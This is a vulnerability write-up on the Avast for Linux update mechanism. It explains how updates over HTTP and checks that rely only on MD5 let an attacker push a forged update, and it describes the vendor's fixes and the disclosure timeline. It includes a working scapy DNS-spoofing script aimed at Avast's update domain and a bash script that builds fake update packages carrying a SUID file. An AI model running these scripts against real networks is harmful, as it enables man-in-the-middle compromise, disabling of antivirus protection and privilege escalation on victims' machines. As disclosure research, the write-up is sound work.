# Pwning Antivirus: Avast for Linux and exploit in update mechanism

---
# Avast for Linux Update Mechanism

## 1. Server Data Architecture

Avast Antivirus implements a distributed update system, combining full updates and [delta updates](https://en.wikipedia.org/wiki/Delta_update) to optimize time and network bandwidth. Specifically:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744914873568/e5eb7fbb-31bf-41ff-b0a3-76032a57f4ab.png align="left")

The [`vps9.lat`](http://vps9.lat) file serves as a global version index. The client uses this file to compare with the locally installed version to determine if an update is necessary.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744915619738/96e2bd04-ec4d-4858-8262-125f89dfdda8.png align="left")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744915668960/8575c475-e2c7-46ce-a7a7-e723bfffb447.png align="left")

The `.inf` files contain information about checksums, the version to be updated, and specify whether to use a patch (`.dif`) or a full update (`.ful`).

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744916427662/7cdc37a1-3983-4686-b1b9-a22f3f3ab3ed.png align="left")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744916529139/32b962e5-4fce-4064-b1a8-bf276ccea1af.png align="left")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744916501140/fc951b12-af97-478b-9343-b32256e05d21.png align="left")

Avast on the user's machine uses server information to automatically select the appropriate update method.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744916562201/a9b1f409-5921-4a89-9816-0157837f1290.png align="left")

In cases where a patch cannot be applied or verification errors occur, the system switches to downloading `.ful`, a compressed full database package.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744916575413/aa8c2469-91cb-4fc3-843f-45d0bd81199a.png align="left")

For delta updates, Avast downloads `.dif`, a binary patch representing the differences between versions. The `bdiff` algorithm is used to process this patch.

## 2. Client Data Architecture

The update directory at `/var/lib/avast/Setup/filedir` stores update data from the server.

* `vps9.lat`: Stores the current version of the `vps9.raw` file.

    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744917433061/36a210b4-234d-490d-81a2-8450360519da.png align="left")

* `vps9.raw`: Used for delta updates. This is a compressed POSIX tar file containing signatures and the engine.

    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744917716893/fd65b55d-53e2-43b3-8fcf-1ccc0fd5fee7.png align="left")

    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744917825524/092472c3-f029-4d7f-9364-034d283b1d4d.png align="left")

    Indeed, simply changing the `.raw` extension to `.tar` allows the data to be extracted. The extracted data includes libraries and the Avast database.

    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744917837205/cb659158-20cc-44c9-b6df-4ba380ed42dd.png align="left")

The database directory at `/var/lib/avast/defs/` stores the extracted database from the `.raw` file, used by Avast's engine.

* The `aswdefs.ini` file stores the version number of the current database.

    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744917971205/8e17220c-1e4d-4610-a1a7-dd5604a2dd31.png align="left")

* The database directory is named after the current version number.

    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744917914714/3793f328-a581-499a-add0-e276aee331a2.png align="left")

    In addition to Avast's signatures and libraries, the database directory contains two manifest files: `list_d.txt` and `list_i.txt`.

    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744918287059/dff2deaa-02f6-4c4c-b76e-ed3ce0ce6fa3.png align="left")

    These two files store information, including the list of files used by Avast and their checksums.

    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744918313730/10d6e9ba-a11a-437a-b590-b9532e140dda.png align="left")

    These checksums ensure the integrity of the manifest data, preventing tampering.

    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744918354441/971af748-b743-47aa-b16d-edfa5d228559.png align="left")

## 3. Update Logic Flow and Weaknesses

Avast uses the bash script `/usr/lib/avast/vpsupdate` for updates. This script uses `curl` and `md5sum` to download and verify files. The update logic flow is as follows:

1. Updates are performed at the URL `https://linux-av.u.avcdn.net/linux-av/avast/x86_64/vps9/`. The program first checks the latest version on the server via the `vps9.lat` file. Then, based on client conditions, it decides the update method.

2. Download and update the database:

    * For a full update:
        * Download the latest `.ful` database file.
        * Extract the `.raw` file (inside `.ful`) to a temporary directory in `/tmp/`.
        * Verify the MD5 of the `.raw` file against the manifest's MD5. If they match, move the `.raw` and `.lat` files to `/var/lib/avast/Setup/filedir/`.

    * For a patch update:
        * Download one or more `.dif` files.
        * Use `bdiff` to patch the `.raw` file in `/var/lib/avast/Setup/filedir/`.
        * Verify the MD5 of the newly patched `.raw` file against the manifest's MD5. If they match, create a new `.lat` file.

3. Create a database directory at `/var/lib/avast/defs/<version_name>`. All data from the `.raw` file is extracted and written to this new directory.

4. Restart Avast using `/usr/lib/avast/submit --flush --quiet`.

The weaknesses in this logic are as follows:

1. **Use of HTTP protocol for updates**: This is an unauthenticated protocol. A threat actor could use DNS spoofing when on the same network to redirect the update process to an untrusted server.

2. **Lack of database data verification**: In steps 2 and 3, only MD5 is used. Applying the latest database data before verifying files (in the temporary directory) allows a threat actor to write arbitrary files to Avast’s database directory. This could include SUID files or a corrupted database, causing Avast’s protection system to fail.

In addition to the listed weaknesses, the complexity of the logic involving data processing between server and client, as well as interactions between the update service and system resources, introduces other vulnerabilities. These will be analyzed in more detail.

---

# Weakness Details, Exploitation, and Patches

## 1. DNS Spoofing Attack on HTTP Protocol

The server URL is stored in `/etc/avast/vps.conf`. By default, it uses the HTTP protocol:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744875099938/e28f9fda-70f7-4c55-82b7-9abc42ef0567.png align="left")

Since HTTP is an unauthenticated protocol, a threat actor can perform ARP spoofing and DNS spoofing to redirect the update process to a server they control.

First, the threat actor uses the `arpspoof` tool to redirect packets to their machine, intercepting DNS resolution requests to enable DNS spoofing.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748349698505/ed2ebf63-6688-4c98-9660-b9d94dc5a5c6.png align="left")

Next, the threat actor uses the following Python script for DNS spoofing:

```plaintext
#!/usr/bin/env python3

from scapy.all import *
import sys

# Define the target IP address
iface = "wlo1"
victim_ip = "192.168.57.117"  # Replace with the target machine IP
spoofed_domain = "linux-av.u.avcdn.net"  # Domain you want to spoof
spoofed_ip = "192.168.57.192"  # Fake IP address to redirect the target to

def dns_spoof(packet):
    # Filter for DNS response
    if packet.haslayer(DNS) and packet[DNS].qr == 0:  # DNS query (qr=0 means a query)
        # Check if the query is for the domain we want to spoof
        if spoofed_domain in str(packet[DNS].qd.qname):
            print(f"[*] Spoofing DNS response for {spoofed_domain}")

            # Craft the spoofed DNS response
            spoofed_response = IP(dst=packet[IP].src, src=packet[IP].dst) / \
                               UDP(dport=packet[UDP].sport, sport=packet[UDP].dport) / \
                               DNS(id=packet[DNS].id, qr=1, aa=1, qd=packet[DNS].qd, 
                                   an=DNSRR(rrname=packet[DNS].qd.qname, ttl=10, rdata=spoofed_ip))

            # Send the spoofed DNS response
            send(spoofed_response, verbose=0)
            print(f"[+] Sent spoofed DNS response to {victim_ip} for {spoofed_domain} -> {spoofed_ip}")

# Start sniffing traffic and call dns_spoof on each packet
try:
    print("[*] Starting DNS spoofing attack...")
    sniff(filter=f"udp port 53 and ip src {victim_ip}", prn=dns_spoof, iface=iface)
except KeyboardInterrupt:
    print("\n[!] Attack interrupted. Exiting...")
    sys.exit(0)
````

The script’s output shows that the victim’s DNS resolution request has been spoofed by the threat actor.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748349705040/2f1c4525-bea8-47a2-9058-a3daecf04107.png align="left")

Thus, the threat actor manipulates the client’s connection flow. By combining **ARP spoofing** and **DNS spoofing**, the data flow is redirected to a malicious server controlled by the hacker.

To address this weakness, Avast switched the default URL to HTTPS.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748456949919/24208da9-fa62-4d60-8855-c78fd4d34201.png align="left")

## 2\. Spoofed Update Data Attack

As analyzed, steps 2 and 3 of the update process do not verify authenticity and integrity. Thus, as long as a compressed file with a valid structure is created, a threat actor can spoof the database and manipulate the update process. Possible impacts include:

1. Creating corrupted signatures, causing Avast’s engine to stop functioning.
    
2. Writing arbitrary files to `/var/lib/avast/defs/<version>/`. These could include malicious files or SUID files to facilitate privilege escalation.
    

To exploit this, the threat actor creates spoofed update data as follows:

1. Create malicious data.
    
2. Create a compressed `.ful` file and its manifest.
    
3. Create a manifest for the `.raw` file.
    
4. Create a manifest containing the new update version.
    

This process can be automated with the following bash script:

```bash
#!/bin/bash
NEW_VERSION=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 13; echo)
FAKE_DATA=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 13; echo)
DOC_ROOT="/var/www/html/linux-av/avast/x86_64/vps9/"

function rm_documentroot_files() {
  rm -f /var/www/html/linux-av/avast/x86_64/vps9/*
}

function create_fake_update() {
  mkdir -p /var/www/html/linux-av/avast/x86_64/vps9/
  # create fake file of full update
  echo $FAKE_DATA > hehe.txt
  chmod 4755 hehe.txt

  # Create zip file for .ful
  tar -czf vps9${NEW_VERSION}.ful hehe.txt

  # Create info file for metadata
  ## Get checksum from raw file
  gunzip -c vps9${NEW_VERSION}.ful > tmp.raw
  CKSUM_DATA=$(md5sum tmp.raw|cut -d " " -f 1)

  # Create metadata and update file
  echo "MD5=${CKSUM_DATA}" > ${DOC_ROOT}/vps9${NEW_VERSION}.inf
  mv vps9${NEW_VERSION}.ful ${DOC_ROOT}/vps9${NEW_VERSION}.ful
}

function create_lat_file() {
  # Create lat file
  echo ${NEW_VERSION} > ${DOC_ROOT}/vps9.lat
}

function rm_tmp_file() {
  # Remove template generated files
  rm -f tmp.raw hehe.txt *.ful
}

rm_documentroot_files
create_fake_update
create_lat_file
rm_tmp_file
```

Running the script creates spoofed data, as shown below:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748347738388/31fb7a9c-ec49-49ce-82d0-10da4dd48ff8.png align="left")

By combining with a Man-in-the-Middle attack, the `vpsupdate` program updates from the hacker’s server.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748349853933/6781b358-e93a-4fc5-82c1-3e46192d4872.png align="left")

The malicious file created by the threat actor retains SUID permissions when written to the victim’s machine.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748350025914/08f81859-564f-4fd8-9714-3a5368445e76.png align="left")

Additionally, a database directory lacking necessary files or containing corrupted files will prevent Avast from functioning.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748350122570/d9b1c17d-717a-447b-9ea0-63ee1197f64c.png align="center")

To fix this, the update program uses the `/usr/bin/avast` binary to verify data (extracted to a temporary directory) before applying it.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748351817063/10da1907-f4ce-4923-9648-302ebdff1ed1.png align="left")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748351705678/d55558f5-eca8-40b2-a0ac-5b018903e716.png align="left")

Thus, the program terminates if problematic data is detected, instead of replacing old data with new.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748431566937/e6fee1c3-ef6b-4abd-b828-51b72e7617d5.png align="left")

Interestingly, during patch diff analysis, I discovered this feature was already present in older Avast versions but was not used due to developer oversight (until reported).

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748431700486/8af983b3-c241-4084-8725-2b70356034af.png align="center")

## 3\. Update Process Runs with Unnecessary Privileges

During discussions with the vendor, I learned that Avast’s update process is executed by the `avast` user. Indeed, the update program runs under a systemd timer with the `avast` owner.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748428094892/d933c607-5183-4af1-b9ff-1635d1cda1a6.png align="left")

However, the demo ran the update script successfully with `root` privileges, resulting in the new database having `root` ownership.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748428243769/77fe148b-87e2-4963-ae5a-789cd1ced045.png align="left")

Thus, if an administrator manually runs the update, two scenarios may occur:

1. The administrator logs in as `root` and performs the update.
    
2. The administrator uses a `sudoers` account and runs the update with `sudo`.
    

In both cases, the administrator mistakenly runs the update as `root` instead of `avast` (e.g., `sudo -u avast /usr/lib/avast/vpsupdate`). This results in the database being owned by `root`, leading to:

1. Avast likely failing to update new data, as the systemd unit (running as `avast`) cannot overwrite `root`\-owned files.
    
2. If exploited during a manual update, an **SUID** file would have `root` ownership, granting the malware the highest system privileges.
    

To address this, Avast checks the process owner and runs the script with lower privileges.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748351983024/7e63c1de-cc07-445f-b86d-dd6c94f4578d.png align="left")

*Note: This weakness was identified and fixed by the vendor. Detailed analysis was conducted after discussions with the vendor on April 30.*

## 4\. Failure to Verify Version Number Validity

As analyzed in step 3, the update process creates the directory `/var/lib/avast/defs/<version_name>` and writes update data to it. The `version_name` value is taken from the `vps9.lat` file without validating its legitimacy.

Theoretically, a threat actor could exploit this to perform a path traversal attack combined with other vulnerabilities to write files to other system locations. If written to sensitive locations, malware could auto-execute via crontab or after a system reboot. However, the data processing uses the `PACKAGE` variable to create paths in the temporary directory, always prefixing with `vps9`. Special version values for path traversal would result in a path like `”vps9” + <path>`, which the system interprets as a non-existent `vps9` directory, causing the program to error and stop.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748465821412/6313c979-4da6-4198-bdaf-b47c31fdf475.png align="left")

Although this weakness is not exploitable, Avast mitigated it by validating version values, allowing only integer characters from 0 to 9.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748351625219/1f1142af-1515-45b9-9459-1288eee81eb7.png align="left")

## Timeline

* **Q2/2023**: Discovered attack surface.
    
* **August 2024**: Conducted research and exploitation.
    
* **September 27, 2024**: Submitted bug report to Avast via BugCrowd.
    
* **April 17, 2025**: Discovered Avast v4.6 fixed the issue. Contacted Avast’s point of contact.
    
* **April 30, 2025**: Avast confirmed the issue.
    
* **May 28, 2025**: Issue disclosed with the code **CVE-2025-4134**.
    

---
